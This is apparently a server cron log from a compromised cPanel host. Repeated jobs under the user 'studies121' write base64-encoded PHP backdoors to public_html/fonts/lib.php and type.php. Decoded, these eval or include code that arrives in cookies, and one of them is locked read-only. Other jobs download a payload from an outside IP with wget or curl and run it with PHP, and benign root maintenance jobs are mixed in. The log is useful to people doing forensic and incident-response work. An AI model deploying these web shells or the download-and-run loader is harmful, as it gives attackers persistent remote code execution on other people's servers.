Sep  6 12:03:01 ip-184-168-122-23 CROND[21615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:03:01 ip-184-168-122-23 CROND[21614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:04:01 ip-184-168-122-23 CROND[21936]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:04:01 ip-184-168-122-23 CROND[21938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:04:01 ip-184-168-122-23 CROND[21939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:04:01 ip-184-168-122-23 CROND[21940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:04:01 ip-184-168-122-23 CROND[21942]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 12:05:01 ip-184-168-122-23 CROND[22250]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:05:01 ip-184-168-122-23 CROND[22252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:05:01 ip-184-168-122-23 CROND[22255]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 12:05:01 ip-184-168-122-23 CROND[22256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:05:01 ip-184-168-122-23 CROND[22257]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 12:05:01 ip-184-168-122-23 CROND[22254]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 12:05:01 ip-184-168-122-23 CROND[22253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:06:01 ip-184-168-122-23 CROND[22573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:06:01 ip-184-168-122-23 CROND[22574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:06:01 ip-184-168-122-23 CROND[22575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:06:01 ip-184-168-122-23 CROND[22578]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 12:06:01 ip-184-168-122-23 CROND[22576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:07:01 ip-184-168-122-23 CROND[22925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:07:01 ip-184-168-122-23 CROND[22927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:07:01 ip-184-168-122-23 CROND[22928]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:07:01 ip-184-168-122-23 CROND[22929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:08:02 ip-184-168-122-23 CROND[23240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:08:02 ip-184-168-122-23 CROND[23241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:08:02 ip-184-168-122-23 CROND[23243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:08:02 ip-184-168-122-23 CROND[23248]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 12:08:02 ip-184-168-122-23 CROND[23249]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:09:01 ip-184-168-122-23 CROND[23504]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:09:01 ip-184-168-122-23 CROND[23508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:09:01 ip-184-168-122-23 CROND[23509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:09:01 ip-184-168-122-23 CROND[23506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:09:01 ip-184-168-122-23 CROND[23507]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 12:10:01 ip-184-168-122-23 CROND[23918]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 12:10:01 ip-184-168-122-23 CROND[23919]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 12:10:01 ip-184-168-122-23 CROND[23923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:10:01 ip-184-168-122-23 CROND[23922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:10:01 ip-184-168-122-23 CROND[23924]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 12:10:01 ip-184-168-122-23 CROND[23926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:10:01 ip-184-168-122-23 CROND[23927]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:10:01 ip-184-168-122-23 CROND[23925]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 12:11:01 ip-184-168-122-23 CROND[24226]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:11:01 ip-184-168-122-23 CROND[24229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:11:01 ip-184-168-122-23 CROND[24230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:11:01 ip-184-168-122-23 CROND[24228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:12:01 ip-184-168-122-23 CROND[24506]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 12:12:01 ip-184-168-122-23 CROND[24508]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:12:01 ip-184-168-122-23 CROND[24510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:12:01 ip-184-168-122-23 CROND[24509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:12:01 ip-184-168-122-23 CROND[24511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:13:01 ip-184-168-122-23 CROND[24820]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:13:01 ip-184-168-122-23 CROND[24822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:13:01 ip-184-168-122-23 CROND[24824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:13:01 ip-184-168-122-23 CROND[24823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:14:01 ip-184-168-122-23 CROND[25106]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 12:14:01 ip-184-168-122-23 CROND[25107]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:14:01 ip-184-168-122-23 CROND[25108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:14:01 ip-184-168-122-23 CROND[25110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:14:01 ip-184-168-122-23 CROND[25109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:15:01 ip-184-168-122-23 CROND[25578]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  6 12:15:01 ip-184-168-122-23 CROND[25580]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:15:01 ip-184-168-122-23 CROND[25581]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  6 12:15:01 ip-184-168-122-23 CROND[25583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
